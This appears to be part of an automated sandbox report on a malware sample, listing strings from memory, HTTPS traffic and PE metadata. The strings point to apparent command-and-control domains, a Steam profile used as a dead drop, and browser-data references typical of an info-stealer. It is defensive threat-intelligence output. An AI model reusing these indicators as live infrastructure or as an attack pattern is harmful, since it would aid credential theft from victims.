Source: GxX48twWHA.exe, 00000000.00000003.1804399417.0000000001368000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094708734.0000000001398000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1907811909.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827743494.0000000001336000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1905852648.0000000005A81000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094788467.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000002.2173598246.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1993508348.0000000001398000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827901814.0000000001368000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.0000000001336000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992508761.0000000005A85000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992613282.0000000001368000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933084846.0000000005A84000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1948058695.0000000005A85000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1908360271.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1906133272.0000000005A82000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095221305.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1908014684.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933238541.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992613282.0000000001331000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: GxX48twWHA.exe, 00000000.00000003.1882225354.0000000005A82000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1905852648.0000000005A81000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992508761.0000000005A85000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933084846.0000000005A84000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1948058695.0000000005A85000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1906133272.0000000005A82000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1881768394.0000000005A81000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1882538663.0000000005A84000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1883577380.0000000005A84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/O
Source: GxX48twWHA.exe, 00000000.00000003.1827743494.0000000001336000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804399417.0000000001343000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.0000000001336000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1947990932.0000000001386000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1856636161.0000000005A8E000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992530702.0000000001386000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1993508348.0000000001390000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992613282.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827901814.0000000001343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: GxX48twWHA.exe, 00000000.00000003.1992613282.0000000001331000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api:
Source: GxX48twWHA.exe, 00000000.00000003.1881791436.0000000005A9B000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1881748907.0000000005A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api?
Source: GxX48twWHA.exe, 00000000.00000003.1827743494.0000000001336000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827901814.0000000001343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiE
Source: GxX48twWHA.exe, 00000000.00000003.1804399417.0000000001343000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.0000000001336000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiHI7
Source: GxX48twWHA.exe, 00000000.00000002.2176292367.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1905852648.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1948058695.0000000005A91000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933156594.0000000005A91000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094445705.0000000005A86000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1947682146.0000000005A91000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1881979488.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiPL
Source: GxX48twWHA.exe, 00000000.00000003.1856636161.0000000005A8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apieiwp~
Source: GxX48twWHA.exe, 00000000.00000003.1804399417.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apik
Source: GxX48twWHA.exe, 00000000.00000003.1827901814.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/c
Source: GxX48twWHA.exe, 00000000.00000003.1804399417.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/com1&03
Source: GxX48twWHA.exe, 00000000.00000003.1933238541.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/ess
Source: GxX48twWHA.exe, 00000000.00000003.1804399417.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/m0#
Source: GxX48twWHA.exe, 00000000.00000003.1804399417.0000000001368000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094788467.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: GxX48twWHA.exe, 00000000.00000003.1804399417.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/t.com1
Source: GxX48twWHA.exe, 00000000.00000003.1827901814.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/vo
Source: GxX48twWHA.exe, 00000000.00000003.1907811909.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094965781.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992769328.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933403044.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api-
Source: GxX48twWHA.exe, 00000000.00000003.1827743494.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apic
Source: GxX48twWHA.exe, 00000000.00000003.1907811909.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094965781.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992769328.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933403044.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apiion.txtPK
Source: GxX48twWHA.exe, 00000000.00000003.2094965781.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992769328.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933403044.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apin.txtPK
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: GxX48twWHA.exe, 00000000.00000003.1827743494.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://manyrestro.lat:443/api
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_86.6.dr	String found in binary or memory: https://schema.org
Source: GxX48twWHA.exe, 00000000.00000003.1827743494.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shapestickyr.lat:443/api
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827713857.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827713857.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: GxX48twWHA.exe, 00000000.00000003.1827743494.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1907811909.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094965781.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992769328.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933403044.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900EO
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827713857.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: GxX48twWHA.exe, 00000000.00000003.1829818052.0000000005AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: GxX48twWHA.exe, 00000000.00000003.1883605646.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GxX48twWHA.exe, 00000000.00000003.1883605646.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: GxX48twWHA.exe, 00000000.00000003.1856575406.0000000005ADC000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829896563.0000000005ADC000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829818052.0000000005AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: GxX48twWHA.exe, 00000000.00000003.1829896563.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: GxX48twWHA.exe, 00000000.00000003.1856575406.0000000005ADC000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829896563.0000000005ADC000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829818052.0000000005AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: GxX48twWHA.exe, 00000000.00000003.1829896563.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_86.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_105.6.dr, chromecache_86.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: GxX48twWHA.exe, 00000000.00000003.1883605646.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: GxX48twWHA.exe, 00000000.00000003.1883605646.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: GxX48twWHA.exe, 00000000.00000003.1883605646.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: GxX48twWHA.exe, 00000000.00000003.1883605646.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: GxX48twWHA.exe, 00000000.00000003.1883605646.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49744 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: GxX48twWHA.exe	Static PE information: section name:
Source: GxX48twWHA.exe	Static PE information: section name: .rsrc
Source: GxX48twWHA.exe	Static PE information: section name: .idata

Source: GxX48twWHA.exe, 00000000.00000003.2050455583.0000000005E97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2051159311.0000000005E9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2045160353.0000000005C96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2048919855.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2052633943.0000000005F7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2049146471.0000000005F52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2052749373.0000000005E99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2060063448.000000000610E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2050352704.000000000602F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2054415814.0000000005F9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000002.2176999890.0000000006163000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2047120050.0000000005F2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2061363806.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2054285224.0000000005E99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2048427027.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2047888921.0000000005E96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2047502126.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2051511947.0000000005F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2060545598.0000000005FD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2054019033.0000000005F90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2050105926.0000000005E96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2052073216.0000000005EA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2050228505.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2056604887.0000000005FAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2051773921.0000000005F6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2047407486.0000000005F45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2055876525.0000000005E99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2052989901.0000000006065000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2053226558.0000000005F95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2058446308.0000000005FC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2056299406.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2049872953.0000000005E97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2052871514.0000000005F79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2053749725.0000000005F90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2058591356.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2047312008.0000000005E9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2056049779.0000000005FB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
Source: GxX48twWHA.exe, 00000000.00000003.2061581980.0000000005FDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GxX48twWHA.exe
